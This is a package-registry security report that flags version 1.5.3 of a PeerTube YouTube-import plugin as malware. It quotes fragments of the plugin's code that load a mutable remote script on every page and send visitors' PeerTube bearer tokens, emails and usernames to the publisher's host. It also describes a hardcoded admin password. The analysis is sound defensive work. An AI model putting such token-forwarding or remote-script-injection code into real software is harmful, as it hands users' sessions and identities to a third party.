registry / peertube-plugin-yaktube-ondemand / 1.5.3

peertube-plugin-yaktube-ondemand@1.5.3

Accessible On-Demand YouTube Import, Live Streams, Smart Recommendations, Sleep Timer, Touch Gestures, Voice Assistant & A11y Engine for PeerTube

AI Security Review

scanned 11d ago · by lpm-firewall-ai

On every page of an installing PeerTube instance, the plugin loads author-controlled remote script, opens a hidden SSO frame, and by default forwards the visitor PeerTube bearer token, email, and username to developer-console.yakhub.com.tr. The server side also authenticates to the local PeerTube API with a hardcoded admin password.

Static reason

One or more suspicious static signals were detected.

Trigger

PeerTube loads the common client script on page view, and the import route runs when a caller posts a YouTube URL.

Impact

Visitors can have arbitrary author script run in the instance origin, their PeerTube session and identity sent to an unrelated host, and their login flow redirected. On a server where the baked-in admin password works, unauthenticated callers can drive admin video imports.

Mechanism

The client injects a latest remote script, embeds an author SSO iframe, hijacks login navigation, accepts unauthenticated postMessage session events, and fetch-posts the local access token to the author API. The server password-grants a fixed admin account on 127.0.0.1 port 9000 and imports as that user.

Attack narrative

Installing the plugin injects client.js on every PeerTube page. That script loads a mutable script from the publisher CDN, opens a hidden frame on developer-console.yakhub.com.tr, and redirects login clicks to the publisher OAuth host. A message handler does not check origin and can clear local tokens. If the visitor is logged in, the page attaches the PeerTube bearer token, email, and username and sends them to the publisher search-history API unless an opt-out flag already exists. Separately, main.js uses a hardcoded admin password against the local PeerTube API to perform imports.

AI rationale

The plugin is not limited to YouTube search: every visitor page loads publisher remote code and, by default, forwards the local PeerTube session token to the publisher host, while the server uses a hardcoded admin password. Those behaviors are an active credential and remote-code attack on any instance that installs the package.

Evidence

package.jsonclient.jsmain.js

Network endpoints5

cdnjs.yakhub.com.tr/ajax/libs/yaknet-account/latest/yaknet-account.jsdeveloper-console.yakhub.com.tr/sdk/sso-framedeveloper-console.yakhub.com.tr/api/yaktube/search-historydeveloper-console.yakhub.com.tr/oauth/authorize127.0.0.1:9000

Decision evidence

public snapshot

AI called this Malicious at 93.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json registers client.js for the PeerTube common scope, so the client bundle runs on every page of any instance that installs the plugin.
That page script inserts a remote script from cdnjs.yakhub.com.tr using a mutable latest path.
When a browser session is logged in, the page sends the local PeerTube access token plus email and username to developer-console.yakhub.com.tr unless a local opt-out flag was already set.
A hidden iframe loads the author SSO host, login clicks are redirected to that host, and a message listener with no origin check can wipe local session keys.
The server plugin logs into the local PeerTube API with a hardcoded administrator username and password and uses that token to import videos.

Evidence against

package.json declares no preinstall, install, or postinstall hook.
YouTube search calls yt-dlp through execFile with a fixed argument list rather than a shell string.
The APK download control is limited to the author hostname and localhost.

Behavioral surface

Source

ChildProcessEnvironmentVarsFilesystemNetwork

Supply chain

HighEntropyStringsUrlStrings

Manifest

CopyleftLicense

scanned 2 file(s), 202 KB of source, external domains: api.qrserver.com, cdnjs.yakhub.com.tr, developer-console.yakhub.com.tr, i.ytimg.com, www.youtube-nocookie.com, www.youtube.com, yaktube.yakhub.com.tr

Source & flagged code

6 flagged

main.jsView file

Lines 1-21javascript

1const { execFile } = require('child_process');

2const path = require('path');

High

Child Process

Package source references child process execution.

main.jsView on unpkg · L1

3const http = require('http');

4const fs = require('fs');

6const searchCache = new Map();

7const CACHE_TTL = 30 * 60 * 1000; // 30 minutes

9let cachedYtDlpPath = null;

10function resolveYtDlpPath(logger) {

11 if (cachedYtDlpPath && (cachedYtDlpPath === 'yt-dlp' || fs.existsSync(cachedYtDlpPath))) {

12 return cachedYtDlpPath;

13 }

15 // 1. Environment variable override

16 if (process.env.YTDLP_PATH && fs.existsSync(process.env.YTDLP_PATH)) {

17 cachedYtDlpPath = process.env.YTDLP_PATH;

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

main.jsView on unpkg · L1

18 return cachedYtDlpPath;

19 }

21 // 2. Cross-platform candidates

Lines 117-157javascript

117 return new Promise((resolve, reject) => {

118 const req = http.request(

119 {

120 hostname: '127.0.0.1',

121 port:

package.jsonView file

Lines 1-29json

2 "name": "peertube-plugin-yaktube-ondemand",

3 "version": "1.5.3",

4 "description": "Accessible On-Demand YouTube Import, Live Streams, Smart Recommendations, Sleep Timer, Touch Gestures, Voice Assistant & A11y Engine for PeerTube",

5 "main": "main.js",

client.jsView file

Lines 134-174javascript

134 // Seslendirme yapıldıktan veya ekran okuyucu kuyruğuna alındıktan sonra

135 // sayfanın en altında ya da sanal imleç gezintisinde eski metin kalmaması için

136 // DOM'daki duyuru metnini temizle (Metin uzunluğuna göre 3 ile 7 saniye arası)

137 var clearDelay = Math.min(7000, Math.max(3000, strText.length *

Source & flagged code

6 flagged · loading source

main.jsView file

1const { execFile } = require('child_process'); L2: const path = require('path');

High

Child Process

Package source references child process execution.

main.jsView on unpkg · L1

1const { execFile } = require('child_process'); L2: const path = require('path'); L3: const http = require('http'); L4: const fs = require('fs'); ... L15: // 1. Environment variable override L16: if (process.env.YTDLP_PATH && fs.existsSync(process.env.YTDLP_PATH)) { L17: cachedYtDlpPath = process.env.YTDLP_PATH;

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

main.jsView on unpkg · L1

137patternName = generic_password severity = medium line = 137

Medium

Secret Pattern

Package contains a possible secret pattern.

main.jsView on unpkg · L137

package.jsonView file

9"clientScripts": [ { "script": "client.js", "scopes": [ "common" ] } ], "css": [ "style.css" ]

High

Ai Review Evidence

package.json registers client.js for the PeerTube common scope, so the client bundle runs on every page of any instance that installs the plugin.

package.jsonView on unpkg · L9

client.jsView file

154var s = document.createElement('script'); s.id = 'yaknet-account-script'; s.src = 'https://cdnjs.yakhub.com.tr/ajax/libs/yaknet-account/latest/yaknet-account.js';

High

Ai Review Evidence

That page script inserts a remote script from cdnjs.yakhub.com.tr using a mutable latest path.

client.jsView on unpkg · L154

2994headers['Authorization'] = 'Bearer ' + token; if (email) headers['X-User-Email'] = email; if (username) headers['X-User-Username'] = username; var authUrl = 'htt

High

Ai Review Evidence

When a browser session is logged in, the page sends the local PeerTube access token plus email and username to developer-console.yakhub.com.tr unless a local opt-out flag was already set.

client.jsView on unpkg · L2994

Findings

5 High3 Medium4 Low

HighChild Processmain.js

HighSame File Env Network Executionmain.js

HighAi Review Evidencepackage.json

HighAi Review Evidenceclient.js

MediumSecret Patternmain.js

MediumNetwork

MediumEnvironment Vars

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

LowCopyleft License

Affected versions and remediation

This report applies to peertube-plugin-yaktube-ondemand@1.5.3.

See version security history for other recorded verdicts.

Avoid installing peertube-plugin-yaktube-ondemand@1.5.3. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-28 00:04:22.957Z (UTC).